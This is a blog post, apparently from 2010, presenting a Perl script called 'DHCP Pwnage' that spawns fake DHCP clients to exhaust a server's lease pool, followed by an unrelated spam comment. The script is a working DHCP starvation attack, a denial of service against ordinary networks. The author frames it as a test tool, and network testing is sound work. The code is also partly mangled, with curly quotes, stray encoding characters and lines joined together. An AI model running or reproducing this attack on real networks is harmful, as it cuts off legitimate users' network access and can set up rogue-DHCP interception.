Ever wanted to exhaust a DHCP servers pool? (of course for testing things in a non-production environment)
I did, so I created DHCP Pwnage
This Perl script will grab as many leases as you want, you define the number of leases via the $ClientC var. I plan on writing this tool in PHP so I can add a lot more functionality.
This was created by modifying the example code of Net::DHCPClientLive, to get Net::DHCPClientLive you will need to force the install or notest the install via CPAN. I have had no luck having Net::DHCPClientLive install properly on any platform without using force or notest.
Download: dhcp-pwnage-v0.1.pl.zip
#!/usr/bin/perl
##############################
# DHCP PWNAGE v0.1Â Â Â Â Â Â Â Â Â Â #
# By: Michael Requeny       #
# http://michael.requeny.com #
##############################use Net::DHCPClientLive;
no warnings;#####################
# Set the number of #
# clients to spawn #
#####################
$ClientC = 1;$SIG{CHLD} = sub {while( waitpid(-1, WNOHANG) > 0 ) {} };
$SIG{INT} = sub { kill ‘KILL’, 0 };
$SIG{QUIT} = sub { kill ‘KILL’, 0 };
my $clt;
my @liveClt = ();for (my $k = 1; $k <= $ClientC; $k++) {
if ($clt = new Net::DHCPClientLive( interface => “eth0”, state => ‘BOUND’, verb => $verb)) {
print “LOL CLIENT CREATED #$k: $clt->{cltmac}\n”;
my $pid;
if (pipe($R,$W) && defined($pid = fork())) {
if ($pid) {
# keep the client
close $W;
$clt->{sock} = $R;
push @liveClt, $clt;
}
else {
# a client is created
close $R;
open(STDOUT, “>&$W”);
select $W; $| = 1;
}
}
}
else{
print “No.$k client failed to go to BOUND\n”;
}
}
November 20th, 2010 at 8:34 am
You make a lot of good points on this blog. Keep up the great work.